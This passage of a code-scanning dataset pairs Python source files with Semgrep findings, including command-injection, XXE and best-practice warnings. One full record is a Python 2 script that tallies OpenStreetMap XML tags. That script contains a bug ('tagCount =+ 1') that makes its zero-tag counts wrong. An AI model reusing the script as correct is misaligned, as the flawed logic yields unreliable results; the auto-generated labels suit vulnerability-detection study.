[{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/4ebf266e9c268cbb.py", "start": {"line": 190, "col": 12, "offset": 7162}, "end": {"line": 190, "col": 31, "offset": 7181}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-audit_4ebf266e9c268cbb_a42309cd", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 203, "line_end": 203, "column_start": 1, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-audit", "path": "/tmp/tmppq52ww6s/4ebf266e9c268cbb.py", "start": {"line": 203, "col": 1, "offset": 7643}, "end": {"line": 203, "col": 27, "offset": 7669}, "extra": {"message": "Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.unchecked-subprocess-call_4ebf266e9c268cbb_f93067fa", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.unchecked-subprocess-call", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "remediation": "check_call", "location": {"file_path": "unknown", "line_start": 203, "line_end": 203, "column_start": 12, "column_end": 16, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://docs.python.org/3/library/subprocess.html#subprocess.check_call", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.unchecked-subprocess-call", "path": "/tmp/tmppq52ww6s/4ebf266e9c268cbb.py", "start": {"line": 203, "col": 12, "offset": 7654}, "end": {"line": 203, "col": 16, "offset": 7658}, "extra": {"message": "This is not checking the return value of this subprocess call; if it fails no exception will be raised. Consider subprocess.check_call() instead", "fix": "check_call", "metadata": {"references": ["https://docs.python.org/3/library/subprocess.html#subprocess.check_call"], "category": "correctness", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args_4ebf266e9c268cbb_4c8993ba", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Detected subprocess function 'call' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.quote()'.", "remediation": "", "location": {"file_path": "unknown", "line_start": 203, "line_end": 203, "column_start": 17, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "title": null}, {"url": "https://docs.python.org/3/library/subprocess.html", "title": null}, {"url": "https://docs.python.org/3/library/shlex.html", "title": null}, {"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args", "path": "/tmp/tmppq52ww6s/4ebf266e9c268cbb.py", "start": {"line": 203, "col": 17, "offset": 7659}, "end": {"line": 203, "col": 26, "offset": 7668}, "extra": {"message": "Detected subprocess function 'call' with user controlled data. A malicious actor could leverage this to perform command injection. You may consider using 'shlex.quote()'.", "metadata": {"owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "asvs": {"control_id": "5.3.8 OS Command Injection", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v53-output-encoding-and-injection-prevention-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "references": ["https://stackoverflow.com/questions/3172470/actual-meaning-of-shell-true-in-subprocess", "https://docs.python.org/3/library/subprocess.html", "https://docs.python.org/3/library/shlex.html", "https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_4ebf266e9c268cbb_8e114272", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 205, "line_end": 205, "column_start": 9, "column_end": 56, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/4ebf266e9c268cbb.py", "start": {"line": 205, "col": 9, "offset": 7717}, "end": {"line": 205, "col": 56, "offset": 7764}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_4ebf266e9c268cbb_800fc41b", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 209, "line_end": 209, "column_start": 7, "column_end": 58, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/4ebf266e9c268cbb.py", "start": {"line": 209, "col": 7, "offset": 7887}, "end": {"line": 209, "col": 58, "offset": 7938}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 11 | true | [
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-subprocess-use-audit",
"rules.python.lang.security.audit.dangerous-subprocess-use-tainted-env-args"
] | [
"security",
"security"
] | [
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH"
] | [
203,
203
] | [
203,
203
] | [
1,
17
] | [
27,
26
] | [
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Detected subprocess function 'call' without a static string. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'.",
"Detected subprocess functi... | [
7.5,
7.5
] | [
"LOW",
"MEDIUM"
] | [
"HIGH",
"MEDIUM"
] | incremental_addrequests.py | /affinity_search/incremental_addrequests.py | gnina/scripts | ||
2024-11-18T19:44:26.445955+00:00 | 1,508,205,033,000 | b0a14a078ed4c36e27f9e13fe6f27f89e097abd4 | 3 | {
"blob_id": "b0a14a078ed4c36e27f9e13fe6f27f89e097abd4",
"branch_name": "refs/heads/master",
"committer_date": 1508205033000,
"content_id": "5f77d5ac46f4b83f64cdbd130e1f972608bb9921",
"detected_licenses": [
"MIT"
],
"directory_id": "35c384813c73bb833f9443a391fc5014b9d78a8a",
"extension": "py",
"filename": "script-DisplayTagList.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 107114168,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4867,
"license": "MIT",
"license_type": "permissive",
"path": "/script-DisplayTagList.py",
"provenance": "stack-edu-0054.json.gz:580575",
"repo_name": "TomOtt937/Munging-OpenStreetMap",
"revision_date": 1508205033000,
"revision_id": "754985c852ffade06f0957b764135b01def88e67",
"snapshot_id": "67684534be38c16d0bde8f1e7141dddbebc8a775",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/TomOtt937/Munging-OpenStreetMap/754985c852ffade06f0957b764135b01def88e67/script-DisplayTagList.py",
"visit_date": "2021-07-12T23:44:21.569724"
} | 3.15625 | stackv2 | '''
Display all of the tag types with a count of each.
Display all of the key types for Node tags and for Way tags.
How many Node and Way entries have no additional info in tag entries?
Conversion Unicode to String.
'''
import os
import xml.etree.cElementTree as ET
import pprint
#Update DATADIR and FILENAME as needed
DATADIR = "C:\\Users\\Home\\Documents\\TOM\\Udacity\\Data Analyst Nanodegree\\4 - Data Wrangling\\Project"
#DATADIR = "C:\\Users\\Thomas\\Documents\\Data Analyst Nanodegree\\4 - Data Wrangling\\Project"
FILENAME = "CentervilleArea2.osm" # 12,340K
#FILENAME = "DaytonMetro2.osm" # 110,026K
datafile = os.path.join(DATADIR, FILENAME)
def check_for_unicode(tag):
if isinstance(tag.attrib['k'], unicode):
print tag
if isinstance(tag.attrib['v'], unicode):
''' uncommenting the print commands in this sub-routine results in a lot of output;
used to identify unicode characters for conversion to string '''
#print tag.attrib
tag.attrib['v'] = unicode(tag.attrib['v']).encode('utf8')
tag.attrib['v'] = tag.attrib['v'].replace("\xe2\x80\x93", '-')
tag.attrib['v'] = tag.attrib['v'].replace("\xe2\x80\x99", "'")
tag.attrib['v'] = tag.attrib['v'].replace("\xe2\x80\x9c", '"')
tag.attrib['v'] = tag.attrib['v'].replace("\xe2\x80\x9d", '"')
tag.attrib['v'] = tag.attrib['v'].replace("\xc2\xae", '')
tag.attrib['v'] = tag.attrib['v'].replace("\xc3\xa4", 'a')
#print tag.attrib
#print
def count_tags():
osm_file = open(datafile, "r")
mainTags = {}
nodeTags = {}
wayTags = {}
nodeTagKeys = {}
wayTagKeys = {}
countNodes = 0
countWays = 0
zeroNodeTags = 0
zeroWayTags = 0
countNodeTags = 0
countWayTags = 0
elementcount = 0
tagCount = 0
idhold = ''
for event, elem in ET.iterparse(osm_file):
elementcount += 1
if elem.tag not in mainTags:
mainTags[elem.tag] = 1
else:
mainTags[elem.tag] += 1
tagCount = 0
for tag in iter(elem):
if tag.tag == 'tag':
tagCount =+ 1
if elem.tag == 'node':
#countNodeTags += 1
idhold = elem.attrib['id']
if tag.tag not in nodeTags:
nodeTags[tag.tag] = 1
else:
nodeTags[tag.tag] += 1
if tag.tag == 'tag':
#print tag.tag, tag.attrib, tag.attrib['k']
if tag.attrib['k'] not in nodeTagKeys:
nodeTagKeys[tag.attrib['k']] = 1
else:
nodeTagKeys[tag.attrib['k']] += 1
elif elem.tag == 'way':
idhold = elem.attrib['id']
if tag.tag not in wayTags:
wayTags[tag.tag] = 1
else:
wayTags[tag.tag] += 1
if tag.tag == 'tag':
if tag.attrib['k'] not in wayTagKeys:
wayTagKeys[tag.attrib['k']] = 1
else:
wayTagKeys[tag.attrib['k']] += 1
''' code to see the values of a less common key '''
#if tag.tag == 'tag' and elem.tag in ['node', 'way']:
# if tag.attrib['k'] == 'type':
# print elem.tag, idhold, tag.attrib['k'], tag.attrib['v']
if tag.tag == 'tag' and elem.tag in ['node', 'way']:
check_for_unicode(tag)
if elem.tag == 'node':
countNodes += 1
if tagCount == 0:
zeroNodeTags += 1
elif elem.tag == 'way':
countWays += 1
if tagCount == 0:
zeroWayTags += 1
''' code to limit the run for testing '''
#if elementcount == 100:
# break
# Show a count of nodes and ways with no tag entries for validation agains SQL counts
print 'Nodes with no tags:', zeroNodeTags, 'of', countNodes, str("%.2f%%" % (100. * zeroNodeTags / countNodes))
print 'Ways with no tags:', zeroWayTags, 'of', countWays, str("%.2f%%" % (100. * zeroWayTags / countWays))
return mainTags, nodeTags, wayTags, nodeTagKeys, wayTagKeys
def test():
mainTags, nodeTags, wayTags, nodeTagKeys, wayTagKeys = count_tags()
print '---', len(mainTags), 'Main Tags ---'
pprint.pprint(mainTags)
print '---', len(nodeTags), 'Node Tags ---'
pprint.pprint(nodeTags)
print '---', len(nodeTagKeys), 'Node Tag Keys ---'
pprint.pprint(nodeTagKeys)
print '---', len(wayTags), 'Way Tags ---'
pprint.pprint(wayTags)
print '---', len(wayTagKeys), 'Way Tag Keys ---'
pprint.pprint(wayTagKeys)
#count_tags()
if __name__ == "__main__":
test()
| 132 | 35.87 | 115 | 21 | 1,301 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_a14edcde69493c6b_8e22f334", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 8, "line_end": 8, "column_start": 1, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmppq52ww6s/a14edcde69493c6b.py", "start": {"line": 8, "col": 1, "offset": 232}, "end": {"line": 8, "col": 36, "offset": 267}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.useless-assignment-keyed_a14edcde69493c6b_949f5146", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-assignment-keyed", "finding_type": "maintainability", "severity": "low", "confidence": "medium", "message": "key `'v'` in `tag.attrib` is assigned twice; the first assignment is useless", "remediation": "", "location": {"file_path": "unknown", "line_start": 26, "line_end": 27, "column_start": 9, "column_end": 71, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-assignment-keyed", "path": "/tmp/tmppq52ww6s/a14edcde69493c6b.py", "start": {"line": 26, "col": 9, "offset": 1007}, "end": {"line": 27, "col": 71, "offset": 1135}, "extra": {"message": "key `'v'` in `tag.attrib` is assigned twice; the first assignment is useless", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.useless-assignment-keyed_a14edcde69493c6b_f6f37ae2", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-assignment-keyed", "finding_type": "maintainability", "severity": "low", "confidence": "medium", "message": "key `'v'` in `tag.attrib` is assigned twice; the first assignment is useless", "remediation": "", "location": {"file_path": "unknown", "line_start": 27, "line_end": 28, "column_start": 9, "column_end": 71, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-assignment-keyed", "path": "/tmp/tmppq52ww6s/a14edcde69493c6b.py", "start": {"line": 27, "col": 9, "offset": 1073}, "end": {"line": 28, "col": 71, "offset": 1206}, "extra": {"message": "key `'v'` in `tag.attrib` is assigned twice; the first assignment is useless", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.useless-assignment-keyed_a14edcde69493c6b_063b5594", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-assignment-keyed", "finding_type": "maintainability", "severity": "low", "confidence": "medium", "message": "key `'v'` in `tag.attrib` is assigned twice; the first assignment is useless", "remediation": "", "location": {"file_path": "unknown", "line_start": 28, "line_end": 29, "column_start": 9, "column_end": 71, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-assignment-keyed", "path": "/tmp/tmppq52ww6s/a14edcde69493c6b.py", "start": {"line": 28, "col": 9, "offset": 1144}, "end": {"line": 29, "col": 71, "offset": 1277}, "extra": {"message": "key `'v'` in `tag.attrib` is assigned twice; the first assignment is useless", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.useless-assignment-keyed_a14edcde69493c6b_7cc4731f", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-assignment-keyed", "finding_type": "maintainability", "severity": "low", "confidence": "medium", "message": "key `'v'` in `tag.attrib` is assigned twice; the first assignment is useless", "remediation": "", "location": {"file_path": "unknown", "line_start": 29, "line_end": 30, "column_start": 9, "column_end": 71, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-assignment-keyed", "path": "/tmp/tmppq52ww6s/a14edcde69493c6b.py", "start": {"line": 29, "col": 9, "offset": 1215}, "end": {"line": 30, "col": 71, "offset": 1348}, "extra": {"message": "key `'v'` in `tag.attrib` is assigned twice; the first assignment is useless", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.useless-assignment-keyed_a14edcde69493c6b_d684ebb9", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-assignment-keyed", "finding_type": "maintainability", "severity": "low", "confidence": "medium", "message": "key `'v'` in `tag.attrib` is assigned twice; the first assignment is useless", "remediation": "", "location": {"file_path": "unknown", "line_start": 30, "line_end": 31, "column_start": 9, "column_end": 66, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-assignment-keyed", "path": "/tmp/tmppq52ww6s/a14edcde69493c6b.py", "start": {"line": 30, "col": 9, "offset": 1286}, "end": {"line": 31, "col": 66, "offset": 1414}, "extra": {"message": "key `'v'` in `tag.attrib` is assigned twice; the first assignment is useless", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.useless-assignment-keyed_a14edcde69493c6b_7d5efa2e", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-assignment-keyed", "finding_type": "maintainability", "severity": "low", "confidence": "medium", "message": "key `'v'` in `tag.attrib` is assigned twice; the first assignment is useless", "remediation": "", "location": {"file_path": "unknown", "line_start": 31, "line_end": 32, "column_start": 9, "column_end": 67, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-assignment-keyed", "path": "/tmp/tmppq52ww6s/a14edcde69493c6b.py", "start": {"line": 31, "col": 9, "offset": 1357}, "end": {"line": 32, "col": 67, "offset": 1481}, "extra": {"message": "key `'v'` in `tag.attrib` is assigned twice; the first assignment is useless", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.open-never-closed_a14edcde69493c6b_c6fc0bdb", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.open-never-closed", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "file object opened without corresponding close", "remediation": "", "location": {"file_path": "unknown", "line_start": 37, "line_end": 37, "column_start": 5, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.open-never-closed", "path": "/tmp/tmppq52ww6s/a14edcde69493c6b.py", "start": {"line": 37, "col": 5, "offset": 1546}, "end": {"line": 37, "col": 35, "offset": 1576}, "extra": {"message": "file object opened without corresponding close", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_a14edcde69493c6b_d60055ba", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 37, "line_end": 37, "column_start": 16, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmppq52ww6s/a14edcde69493c6b.py", "start": {"line": 37, "col": 16, "offset": 1557}, "end": {"line": 37, "col": 35, "offset": 1576}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 9 | true | [
"CWE-611"
] | [
"rules.python.lang.security.use-defused-xml"
] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
8
] | [
8
] | [
1
] | [
36
] | [
"A04:2017 - XML External Entities (XXE)"
] | [
"The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service."
] | [
7.5
] | [
"LOW"
] | [
"MEDIUM"
] | script-DisplayTagList.py | /script-DisplayTagList.py | TomOtt937/Munging-OpenStreetMap | MIT | |
2024-11-18T19:44:30.003958+00:00 | 1,657,627,227,000 | 868a021d8655050c1a3c7479914d5b84183056db | 2 | {
"blob_id": "868a021d8655050c1a3c7479914d5b84183056db",
"branch_name": "refs/heads/master",
"committer_date": 1657627227000,
"content_id": "36a311955be4533e03255035f725c99b736f419a",
"detected_licenses": [
"MIT"
],
"directory_id": "f9c4faa7403af7c57490c49f76aa84a0d790cc20",
"extension": "py",
"filename": "plotting.py",
"fork_events_count": 0,
"gha_created_at": 1553455465000,
"gha_event_created_at": 1688679359000,
"gha_language": "Jupyter Notebook",
"gha_license_id": "MIT",
"github_id": 177459021,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 5269,
"license": "MIT",
"license_type": "permissive",
"path": "/plotting.py",
"provenance": "stack-edu-0054.json.gz:580610",
"repo_name": "imciflam/music-content-filtering",
"revision_date": 1657627227000,
"revision_id": "7205a4f5dba6d98e16a4196908828031b5672a27",
"snapshot_id": "aa3727c107aa44dbd8febd96d9c0b9180ee74df0",
"src_encoding": "UTF-8",
"star_events_count": 5,
"url": "https://raw.githubusercontent.com/imciflam/music-content-filtering/7205a4f5dba6d98e16a4196908828031b5672a27/plotting.py",
"visit_date": "2023-07-19T19:10:23.232258"
} | 2.46875 | stackv2 | import keras.models
import os
from scipy.io import wavfile
import pandas as pd
import numpy as np
from keras.models import load_model
from sklearn.metrics import accuracy_score, confusion_matrix, classification_report
from tqdm import tqdm
from python_speech_features import mfcc
import pickle
import matplotlib.pyplot as plt
from sklearn import svm, datasets
from sklearn.model_selection import train_test_split
from sklearn.metrics import confusion_matrix
from sklearn.utils.multiclass import unique_labels
class Config:
